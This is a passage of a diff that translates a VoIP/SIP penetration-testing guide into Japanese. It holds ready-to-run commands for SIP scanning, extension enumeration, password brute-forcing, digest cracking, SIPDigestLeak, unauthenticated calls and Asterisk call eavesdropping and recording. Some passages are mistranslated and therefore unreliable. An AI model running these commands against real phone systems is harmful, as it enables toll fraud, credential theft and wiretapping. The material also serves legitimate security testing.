+オペレーターがVoIPサービスを提供しているかどうかを知ることで、企業がVoIPを使用しているかどうかを特定することができます...さらに、企業がVoIPサービスを契約していない場合でも、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性があります。 -Things such as automated responses of music usually indicates that VoIP is being used. +自動応答や音楽などのものは、VoIPが使用されていることを示しています。 ### Google Dorks - ```bash # Grandstream phones intitle:"Grandstream Device Configuration" Password @@ -70,26 +69,22 @@ intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration" ``` +### OSINT情報 -### OSINT information +VoIPソフトウェアの特定に役立つ他のOSINT情報は、Red Teamにとって有益です。 -Any other OSINT enumeration that helps to identify VoIP software being used will be helpful for a Red Team. - -### Network Enumeration - -* **`nmap`** is capable of scanning UDP services, but because of the number of UDP services being scanned, it's very slow and might not ve very accurante with this kind of services. -* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): Will locate SIP services in the indicated network. - * `svmap` is **easy to block** because it uses the User-Agent `friendly-scanner`, but you could modify the code from `/usr/share/sipvicious/sipvicious` and change it. +### ネットワーク列挙 +* **`nmap`**はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスでは正確ではないかもしれません。 +* SIPViciousの**`svmap`**(`sudo apt install sipvicious`):指定されたネットワーク内のSIPサービスを特定します。 +* `svmap`は**簡単にブロックできます**。なぜなら、User-Agentとして`friendly-scanner`を使用しているからですが、`/usr/share/sipvicious/sipvicious`のコードを変更することで対処できます。 ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` - -* **`sipscan.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan is a very fast scanner for SIP services over UDP, TCP or TLS. It uses multithread and can scan large ranges of networks. It allows to easily indicate a port range, scan both TCP & UDP, use another method (by default it will use OPTIONS) and specify a different User-Agent (and more). - +* **`sipscan.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscanは、UDP、TCP、またはTLSを介したSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンすることができます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したり(デフォルトではOPTIONSを使用します)、異なるUser-Agentを指定したりすることができます(その他も可能です)。 ```bash - ./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] +./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] [!] IP/Network: 10.10.0.0/24 [!] Port range: 5060-5080 @@ -99,85 +94,72 @@ svmap 10.10.0.0/24 -p 5060-5070 [--fp] [!] Used threads: 200 ``` - * **metasploit**: +Metasploitは、ペネトレーションテストや脆弱性評価に使用されるオープンソースのフレームワークです。Metasploitは、様々な脆弱性を検出し、攻撃を実行するためのツールセットを提供します。このフレームワークは、セキュリティ専門家によって広く使用されており、脆弱性の診断や侵入テストにおいて非常に効果的です。Metasploitは、攻撃者がシステムに侵入し、機密情報を取得するための手法を開発するための貴重なリソースです。 ``` auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` +#### 追加のネットワーク列挙 -#### Extra Network Enumeration +PBXは他のネットワークサービスも公開している可能性があります。以下はその例です: -The PBX could also be exposing other network services such as: +* **69/UDP (TFTP)**: ファームウェアの更新 +* **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため +* **389 (LDAP)**: ユーザー情報を保存するための代替手段 +* **3306 (MySQL**): MySQLデータベース +* **5038 (Manager)**: 他のプラットフォームからAsteriskを使用するための機能 +* **5222 (XMPP)**: Jabberを使用したメッセージング +* **5432 (PostgreSQL)**: PostgreSQLデータベース +* その他... -* **69/UDP (TFTP)**: Firmware updates -* **80 (HTTP) / 443 (HTTPS)**: To manage the device from the web -* **389 (LDAP)**: Alternative to store the users information -* **3306 (MySQL**): MySQL database -* **5038 (Manager)**: Allows to use Asterisk from other platforms -* **5222 (XMPP)**: Messages using Jabber -* **5432 (PostgreSQL)**: PostgreSQL database -* And others... - -### Methods Enumeration - -It's possible to find **which methods are available** to use in the PBX using `sipenumerate.py` from [**sippts**](https://github.com/Pepelux/sippts) +### メソッドの列挙 +`sipenumerate.py`を使用して、PBXで使用可能なメソッドを見つけることができます。[**sippts**](https://github.com/Pepelux/sippts)からダウンロードできます。 ```bash python3 sipenumerate.py -i 10.10.0.10 -r 5080 ``` +### 拡張子の列挙 -### Extension Enumeration - -Extensions in a PBX (Private Branch Exchange) system refer to the **unique internal identifiers assigned to individual** phone lines, devices, or users within an organization or business. Extensions make it possible to **route calls within the organization efficiently**, without the need for individual external phone numbers for each user or device. - -* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar` is a free SIP PBX extension line scanner. In concept it works similar to traditional wardialers by **guessing a range of extensions or a given list of extensions**. +PBX(プライベートブランチ交換)システムの拡張子は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた**一意の内部識別子**を指します。拡張子を使用することで、組織内での通話の**効率的なルーティング**が可能になります。個々のユーザーやデバイスごとに個別の外部電話番号が必要なくなります。 +* SIPViciousの**`svwar`**(`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張子ラインスキャナーです。概念的には、**拡張子の範囲を推測したり、指定された拡張子のリストを推測する**ことによって、従来のワードダイヤラーと同様に動作します。 ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` - -* **`sipextend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten identifies extensions on a SIP server. Sipexten can check large network and port ranges. - +* **`sipextend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipextenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークとポート範囲をチェックすることができます。 ```bash python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200 ``` - -* **metasploit**: You can also enumerate extensions/usernames with metasploit: - +* **metasploit**: Metasploitを使用して、拡張子やユーザー名を列挙することもできます。 ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` - -* **`enumiax` (`apt install enumiax`): enumIAX** is an Inter Asterisk Exchange protocol **username brute-force enumerator**. enumIAX may operate in two distinct modes; Sequential Username Guessing or Dictionary Attack. - +* **`enumiax` (`apt install enumiax`): enumIAX**は、Inter Asterisk Exchangeプロトコルの**ユーザー名ブルートフォースエンジン**です。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルなユーザー名の推測または辞書攻撃です。 ```bash -enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary +enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` +## VoIP攻撃 -## VoIP Attacks +### パスワードのブルートフォース -### Password Brute-Force - -Having discovered the **PBX** and some **extensions/usernames**, a Red Team could try to **authenticate via the `REGISTER` method** to an extension using a dictionary of common passwords to brute force the authentication. +**PBX**といくつかの**拡張子/ユーザー名**を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、`REGISTER`メソッドを介して拡張子に対して認証を試みることができます。 {% hint style="danger" %} -Note that a **username** can be the same as the extension, but this practice may vary depending on the PBX system, its configuration, and the organization's preferences... +**ユーザー名**は拡張子と同じである場合もありますが、これはPBXシステム、その設定、および組織の設定によって異なる場合があります... -If the username is not the same as the extension, you will need to **figure out the username to brute-force it**. +ユーザー名が拡張子と異なる場合は、ユーザー名を特定してブルートフォースする必要があります。 {% endhint %} -* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack allows you to crack the password for a specific username/extension on a PBX. - +* **SIPViciousの`svcrack`**(`sudo apt install sipvicious`): SVCrackを使用すると、PBX上の特定のユーザー名/拡張子のパスワードをクラックすることができます。 ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` - -* **`sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack is a tool to crack the digest authentications within the SIP protocol. +* **`sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crackは、SIPプロトコル内のダイジェスト認証をクラックするためのツールです。 {% code overflow="wrap" %} ```bash @@ -186,132 +168,116 @@ python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyo {% endcode %} * **Metasploit**: - * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) - * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb) +* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) +* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb) -### VoIP Sniffing +### VoIPスニッフィング -If you find VoIP equipment inside an **Open Wifi network**, you could **sniff all the information**. Moreover, if you are inside a more closed network (connected via Ethernet or protected Wifi) you could perform **MitM attacks such as** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) between the **PBX and the gateway** in order to sniff the information. +もしVoIP機器が**オープンWifiネットワーク**内にある場合、あなたは**すべての情報をスニッフィング**することができます。さらに、もっと閉じたネットワーク(Ethernetで接続されたり、保護されたWifiで接続されたり)にいる場合、**ARPスプーフィング**などの**MitM攻撃**を実行することができます。これにより、**PBXとゲートウェイ**の間で情報をスニッフィングすることができます。 -Among the network information, you could find **web credentials** to manage the equipment, user **extensions**, **username**, **IP** addresses, even **hashed passwords** and **RTP packets** that you could reproduce to **hear the conversation**, and more. +ネットワーク情報の中には、機器を管理するための**ウェブの資格情報**、ユーザーの**拡張子**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**などが含まれており、これらを再生して**会話を聞く**ことができます。 -To get this information you could use tools such as Wireshark, tcpdump... but a **specially created tool to sniff VoIP conversations is** [**ucsniff**](https://github.com/Seabreg/ucsniff). +この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用することができますが、VoIP会話をスニッフィングするために特別に作成されたツールである**ucsniff**([https://github.com/Seabreg/ucsniff](https://github.com/Seabreg/ucsniff))を使用することもできます。 {% hint style="danger" %} -Note that if **TLS is used in the SIP communication** you won't be able to see the SIP communication in clear.\ -The same will happen if **SRTP** and **ZRTP** is used, **RTP packets won't be in clear text**. +**SIP通信でTLSが使用されている場合**、SIP通信を平文で表示することはできません。\ +同様に、**SRTP**や**ZRTP**が使用されている場合、**RTPパケットは平文ではありません**。 {% endhint %} -#### SIP credentials +#### SIPの資格情報 -[Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) to learn how are **credentials being sent**. - -* **`sipdump`** & **`sipcrack`,** part of **sipcrack** (`apt-get install sipcrack`): These tools can **extract** from a **pcap** the **digest authentications** within the SIP protocol and **bruteforce** them. +**SIP REGISTER通信**の例を確認して、**資格情報がどのように送信されるか**を理解してください。 +* **`sipdump`** & **`sipcrack`**(**sipcrack**の一部)(`apt-get install sipcrack`):これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、それらを**ブルートフォース**することができます。 ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` - * **`siptshar.py`, `sipdump.py`, `sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** - * **SipTshark** extracts data of SIP protocol from a PCAP file. - * **SipDump** Extracts SIP Digest authentications from a PCAP file. - * **SIP Digest Crack** is a tool to crack the digest authentications within the SIP protocol. - +* **SipTshark**はPCAPファイルからSIPプロトコルのデータを抽出します。 +* **SipDump**はPCAPファイルからSIP Digest認証を抽出します。 +* **SIP Digest Crack**はSIPプロトコル内のDigest認証をクラックするためのツールです。 ```bash python3 siptshark.py -f captura3.pcap [-filter auth] python3 sipdump.py -f captura3.pcap -o data.txt python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt ``` +#### DTMFコード -#### DTMF codes - -**Not only SIP credentials** can be found in the network traffic, it's also possible to find DTMF codes which are used for example to access the **voicemail**.\ -It's possible to send these codes in **INFO SIP messages**, in **audio** or inside **RTP packets**. If the codes are inside RTP packets, you could cut that part of the conversation and use the tool multimo to extract them: - +ネットワークトラフィック内には、SIPの資格情報だけでなく、**DTMFコード**も見つけることができます。これらのコードは、例えば**ボイスメール**にアクセスするために使用されます。\ +これらのコードは、**INFO SIPメッセージ**、**オーディオ**内、または**RTPパケット**内に送信することが可能です。RTPパケット内にコードが含まれている場合、会話のその部分を切り取り、ツールmultimoを使用して抽出することができます。 ```bash multimon -a DTMF -t wac pin.wav ``` +### 無料通話 / Asterisks接続の設定ミス -### Free Calls / Asterisks Connections Misconfigurations - -In Asterisk it's possible to allow a connection **from an specific IP address** or from **any IP address**: - +Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です。 ``` host=10.10.10.10 host=dynamic ``` +IPアドレスが指定されている場合、ホストは定期的にREGISTERリクエストを送信する必要はありません(REGISTERパケットには通常30分の有効期限が含まれており、他のシナリオでは電話機は30分ごとにREGISTERする必要があります)。ただし、VoIPサーバーからの通話を受けるためには、開いているポートを持っている必要があります。 -If an IP address is specified, the host **won't need to send REGISTER** requests every once in a while (in the REGISTER packet is sent the time to live, usually 30min, which means that in other scenario the phone will need to REGISTER every 30mins). However, it'll need to have open ports allowing connections from the VoIP server to take calls. +ユーザーを定義するためには、次のように定義できます: -To define users they can be defined as: +- **`type=user`**:ユーザーはユーザーとしてのみ通話を受けることができます。 +- **`type=friend`**:ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と一緒に使用されます)。 +- **`type=peer`**:ピアとして通話を送受信することができます(SIPトランク)。 -* **`type=user`**: The user can only receive calls as user. -* **`type=friend`**: It's possible to perform calls as peer and receive them as user (used with extensions) -* **`type=peer`**: It's possible to send and receive calls as peer (SIP-trunks) +また、次のように安全でない変数を使用して信頼関係を確立することも可能です: -It's also possible to establish trust with the insecure variable: - -* **`insecure=port`**: Allows peer connections validated by IP. -* **`insecure=invite`**: Doesn't require authentication for INVITE messages -* **`insecure=port,invite`**: Both +- **`insecure=port`**:IPによって検証されたピア接続を許可します。 +- **`insecure=invite`**:INVITEメッセージの認証を必要としません。 +- **`insecure=port,invite`**:両方 {% hint style="warning" %} -When **`type=friend`** is used, the **value** of the **host** variable **won't be used**, so if an admin **misconfigure a SIP-trunk** using that value, **anyone will be able to connect to it**. +**`type=friend`**が使用される場合、**host**変数の**値は使用されません**。したがって、管理者がその値を使用してSIPトランクを誤って設定した場合、**誰でもそれに接続できる**ようになります。 -For example, this configuration would be vulnerable:\ +たとえば、次の設定は脆弱です:\ `host=10.10.10.10`\ `insecure=port,invite`\ `type=friend` {% endhint %} -### Free Calls / Asterisks Context Misconfigurations +### 無料通話/アスタリスクのコンテキストの誤構成 -In Asterisk a **context** is a named container or section in the dial plan that **groups together related extensions, actions, and rules**. The dial plan is the core component of an Asterisk system, as it defines **how incoming and outgoing calls are handled and routed**. Contexts are used to organize the dial plan, manage access control, and provide separation between different parts of the system. - -Each context is defined in the configuration file, typically in the **`extensions.conf`** file. Contexts are denoted by square brackets, with the context name enclosed within them. For example: +アスタリスクでは、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化するための名前付きのコンテナまたはセクション**です。ダイヤルプランはアスタリスクシステムの中核コンポーネントであり、**着信および発信通話の処理とルーティング方法**を定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分を分離するために使用されます。 +各コンテキストは通常、**`extensions.conf`**ファイルなどの設定ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその内部に含まれます。例えば: ```bash csharpCopy code[my_context] ``` - -Inside the context, you define extensions (patterns of dialed numbers) and associate them with a series of actions or applications. These actions determine how the call is processed. For instance: - +コンテキスト内では、拡張子(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションと関連付けます。これらのアクションは、通話の処理方法を決定します。例えば: ```scss [my_context] exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` +この例では、拡張機能「100」を持つ単純なコンテキスト「my\_context」が示されています。誰かが100をダイヤルすると、通話が受け付けられ、ウェルカムメッセージが再生された後、通話が終了します。 -This example demonstrates a simple context called "my\_context" with an extension "100". When someone dials 100, the call will be answered, a welcome message will be played, and then the call will be terminated. - -This is **another context** that allows to **call to any other number**: - +これは**別のコンテキスト**で、**他の任意の番号に発信する**ことができます。 ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` - -If the admin defines the **default context** as: - +もし管理者が**デフォルトコンテキスト**を以下のように定義した場合: ``` [default] include => my_context include => external ``` - {% hint style="warning" %} -Anyone will be able to use the **server to call to any other number** (and the admin of the server will pay for the call). +どんな人でも**サーバーを使用して他の番号に電話をかける**ことができます(そしてサーバーの管理者が通話料金を支払うことになります)。 {% endhint %} {% hint style="danger" %} -Moreover, by default the **`sip.conf`** file contains **`allowguest=true`**, then **any** attacker with **no authentication** will be able to call to any other number. +さらに、デフォルトでは**`sip.conf`**ファイルには**`allowguest=true`**が含まれており、**認証なしの**攻撃者はどんな他の番号にも電話をかけることができます。 {% endhint %} -* **`sipinvite.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite checks if a **PBX server allows us to make calls without authentication**. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number. +* [**sippts**](https://github.com/Pepelux/sippts)の**`sipinvite.py`**:Sipinviteは、**認証なしでPBXサーバーから電話をかけることができるかどうか**を確認します。SIPサーバーが正しく構成されていない場合、外部の番号に電話をかけることができます。また、通話を第二の外部番号に転送することもできます。 - For example, if your Asterisk server has a bad context configuration, you can accept INVITE request without authorization. In this case, an attacker can make calls without knowing any user/pass. +たとえば、Asteriskサーバーのコンテキストの構成が悪い場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても電話をかけることができます。 {% code overflow="wrap" %} ```bash @@ -323,22 +289,21 @@ python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444 ``` {% endcode %} -### Free calls / Misconfigured IVRS +### 無料通話 / 設定ミスのあるIVRS -IVRS stands for **Interactive Voice Response System**, a telephony technology that allows users to interact with a computerized system through voice or touch-tone inputs. IVRS is used to build **automated call handling** systems that offer a range of functionalities, such as providing information, routing calls, and capturing user input. +IVRSは、**インタラクティブ音声応答システム**の略で、ユーザーが音声またはタッチトーン入力を介してコンピュータ化されたシステムと対話するための電話技術です。 IVRSは、情報の提供、通話のルーティング、ユーザーの入力の収集など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。 -IVRS in VoIP systems typically consists of: +VoIPシステムのIVRSは通常、次の要素で構成されています: -1. **Voice prompts**: Pre-recorded audio messages that guide users through the IVR menu options and instructions. -2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Touch-tone inputs generated by pressing keys on the phone, which are used to navigate through the IVR menus and provide input. -3. **Call routing**: Directing calls to the appropriate destination, such as specific departments, agents, or extensions based on user input. -4. **User input capture**: Collecting information from callers, such as account numbers, case IDs, or any other relevant data. -5. **Integration with external systems**: Connecting the IVR system to databases or other software systems to access or update information, perform actions, or trigger events. +1. **音声プロンプト**:IVRメニューオプションと指示をユーザーに案内するための事前録音された音声メッセージ。 +2. **DTMF**(デュアルトーンマルチフリークエンシー)シグナリング:電話のキーを押して生成されるタッチトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。 +3. **通話ルーティング**:ユーザーの入力に基づいて、特定の部門、エージェント、または拡張子など、適切な宛先に通話を誘導すること。 +4. **ユーザー入力の収集**:口頭での情報、アカウント番号、ケースID、またはその他の関連データなど、発信者からの情報の収集。 +5. **外部システムとの統合**:IVRシステムをデータベースや他のソフトウェアシステムに接続して、情報のアクセスや更新、アクションの実行、イベントのトリガーなどを行う。 -In an Asterisk VoIP system, you can create an IVR using the dial plan (**`extensions.conf`** file) and various applications such as `Background()`, `Playback()`, `Read()`, and more. These applications help you play voice prompts, capture user input, and control the call flow. - -#### Example of vulnerable configuration +Asterisk VoIPシステムでは、ダイヤルプラン(**`extensions.conf`**ファイル)や`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。 +#### 脆弱な設定の例 ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) @@ -346,48 +311,40 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` +前述の例では、ユーザーに対して「1を押して部署に電話をかける」「2を押して別の部署に電話をかける」または「完全な内線番号」を入力するように求めています。\ +この脆弱性は、指定された内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウトを完全な番号として入力することができ、それが呼び出される可能性があるということです。 -The previous is a example where the user is asked to **press 1 to call** a department, **2 to call** another, or **the complete extension** if he knows it.\ -The vulnerability is the fact that the indicated **extension length is not checked, so a user could input the 5seconds timeout a complete number and it will be called.** - -### Extension Injection - -Using a extension such as: +### 内線番号インジェクション +次のような内線番号を使用することができます: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` - -Where **`${EXTEN}`** is the **extension** that will be called, when the **ext 101 is introduced** this is what would happen: - +**`${EXTEN}`**が呼び出される**内線**であり、**ext 101が入力された場合**、以下のようなことが起こります: ```scss exten => 101,1,Dial(SIP/101) ``` - -However, if **`${EXTEN}`** allows to introduce **more than numbers** (like in older Asterisk versions), an attacker could introduce **`101&SIP123123123`** to call the phone number 123123123. And this would be the result: - +しかし、`${EXTEN}`が数字以外のもの(古いAsteriskバージョンのような)を導入することを許可している場合、攻撃者は`101&SIP123123123`を導入して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` - -Therefore, a call to the extension **`101`** and **`123123123`** will be send and only the first one getting the call would be stablished... but if an attacker use an **extension that bypasses any match** that is being performed but doesn't exist, he could be **inject a call only to the desired number**. +したがって、拡張子**`101`**と**`123123123`**への通話が送信され、最初の通話のみが確立されます...しかし、攻撃者が**一致しているが存在しない**拡張子を使用して、望ましい番号にのみ通話を注入することができます。 ## SIPDigestLeak -The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows **leakage of the Digest authentication response**, which is computed from the password. An **offline password attack is then possible** and can recover most passwords based on the challenge response. +SIP Digest Leakは、ハードウェアおよびソフトウェアのIP電話機、および電話アダプタ(VoIPからアナログへの変換装置)を含む多くのSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が漏洩します。その後、オフラインパスワード攻撃が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復することができます。 -Vulnerability scenario (for [**more information check this**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)): +脆弱性のシナリオ([**詳細についてはこちらを参照してください**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)): -1. An IP Phone (victim) is listening on port 5060, accepting phone calls -2. The attacker sends an INVITE to the IP Phone -3. The victim phone starts ringing and someone picks up and hangs up (because no one answers the phone at the other end) -4. When the phone is hung up, the **victim phone sends a BYE to the attacker** -5. The **attacker issues a 407 response** that **asks for authentication** and issues an authentication challenge -6. The **victim phone provides a response to the authentication challenge** in a second BYE -7. The **attacker can then issue a brute-force attack** on the challenge response on his local machine (or distributed network etc) and guess the password - -* **sipdigestleak.py** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipDigestLeak exploits this vulnerability. +1. IP電話(被害者)がポート5060でリスニングし、電話を受け付けます。 +2. 攻撃者がIP電話にINVITEを送信します。 +3. 被害者の電話が鳴り、誰かが電話に出て切ります(他の端末で電話に応答しないため)。 +4. 電話が切断されると、**被害者の電話は攻撃者にBYEを送信**します。 +5. 攻撃者は**認証を要求する407レスポンス**を発行し、認証のチャレンジを発行します。 +6. **被害者の電話は2番目のBYEで認証のチャレンジに応答**します。 +7. 攻撃者はその後、ローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対するブルートフォース攻撃を実行し、パスワードを推測することができます。 +* [**sippts**](https://github.com/Pepelux/sippts)の**sipdigestleak.py**:SipDigestLeakは、この脆弱性を悪用します。 ```bash python3 sipdigestleak.py -i 10.10.0.10 @@ -400,7 +357,7 @@ python3 sipdigestleak.py -i 10.10.0.10 [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK - ... waiting for BYE ... +... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE with digest @@ -408,13 +365,11 @@ python3 sipdigestleak.py -i 10.10.0.10 Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 ``` - ### Click2Call -Click2Call allows a **web user** (who for example might be interested in a product) to **introduce** his **telephone number** to get called. Then a commercial will be called, and when he **picks up the phone** the user will be **called and connected with the agent**. - -A common Asterisk profile for this is: +Click2Callは、例えば製品に興味を持つ**ウェブユーザー**が、**電話番号**を入力して電話を受けることができるようにするものです。その後、広告が呼び出され、ユーザーが**電話に出ると**、ユーザーは**エージェントと接続されて呼び出されます**。 +これに対する一般的なAsteriskのプロファイルは次のとおりです: ```scss [web_user] secret = complex_password @@ -424,11 +379,10 @@ displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` +* 前のプロファイルでは、**パスワードがわかっていればどのIPアドレスからでも接続できる**ようになっています。 +* 前述のように、**通話を組織するためには読み取り権限は必要ありません**。**書き込み**の**originate**のみが必要です。 -* The previos profile is allowing **ANY IP address to connect** (if the password is known). -* To **organize a call**, like specified previously, **no read permissions is necessary** and **only** **originate** in **write** is needed. - -With those permissions any IP knowing the password could connect and extract too much info, like: +これらの権限を持っているIPアドレスは、パスワードを知っていれば接続し、多くの情報を抽出することができます。 {% code overflow="wrap" %} ```bash @@ -437,17 +391,17 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ``` {% endcode %} -**More information or actions could be requested.** +**詳細な情報やアクションが要求される場合があります。** -### **Eavesdropping** +### **盗聴** -In Asterisk it's possible to use the command **`ChanSpy`** indicating the **extension(s) to monitor** (or all of them) to hear conversations that are happening. This command need to be assigned to an extension. +Asteriskでは、**`ChanSpy`**コマンドを使用して、監視する**拡張子(またはすべての拡張子)**を指定して、発生している会話を聞くことができます。このコマンドは、拡張子に割り当てる必要があります。 -For example, **`exten => 333,1,ChanSpy('all',qb)`** indicate that if you **call** the **extension 333**, it will **monitor** **`all`** the extensions, **start listening** whenever a new conversation start (**`b`**) in quiet mode (**`q`**) as we don't want to interact on it. You could go from one conversation happening to another pressing **`*`**, or marking the extension number. +たとえば、**`exten => 333,1,ChanSpy('all',qb)`**とすると、**拡張子333**を**呼び出す**と、**`all`**の拡張子を**監視**し、新しい会話が始まるたびに(**`b`**)、静かなモード(**`q`**)で**聞く**ことができます。会話が行われている場所から別の会話に移動するには、**`*`**を押すか、拡張子番号をマークします。 -It's also possible tu use **`ExtenSpy`** to monitor one extension only. +また、**`ExtenSpy`**を使用して、1つの拡張子のみを監視することも可能です。 -Instead of listening the conversations, it's possible to **record them in files** using an extension such as: +会話を聞く代わりに、拡張子を使用して**ファイルに記録する**ことも可能です。 {% code overflow="wrap" %} ```scss @@ -457,104 +411,92 @@ exten => _X.,2,MixMonitor(${NAME}) ``` {% endcode %} -Calls will be saved in **`/tmp`**. - -You could also even make Asterisk **execute a script that will leak the call** when it's closed. +通話は **`/tmp`** に保存されます。 +また、Asterisk が終了するときに通話を漏洩させるスクリプトを実行することもできます。 ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` - ### RTCPBleed -**RTCPBleed** is a major security issue affecting Asterisk-based VoIP servers (published in 2017). The vulnerability allows **RTP (Real Time Protocol) traffic**, which carries VoIP conversations, to be **intercepted and redirected by anyone on the Internet**. This occurs because RTP traffic bypasses authentication when navigating through NAT (Network Address Translation) firewalls. +**RTCPBleed**は、AsteriskベースのVoIPサーバーに影響を与える重大なセキュリティの問題です(2017年に公開されました)。この脆弱性により、VoIPの会話を運ぶ**RTP(リアルタイムプロトコル)トラフィック**が、インターネット上の誰でも傍受およびリダイレクトされることが可能になります。これは、RTPトラフィックがNAT(ネットワークアドレス変換)ファイアウォールを経由する際に、認証をバイパスするためです。 -RTP proxies try to address **NAT limitations** affecting RTC systems by proxying RTP streams between two or more parties. When NAT is in place, the RTP proxy software often cannot rely on the RTP IP and port information retrieved through signalling (e.g. SIP). Therefore, a number of RTP proxies have implemented a mechanism where such **IP and port tuplet is learned automatically**. This is often done by by inspecting incoming RTP traffic and marking the source IP and port for any incoming RTP traffic as the one that should be responded to. This mechanism, which may be called "learning mode", **does not make use of any sort of authentication**. Therefore **attackers** may 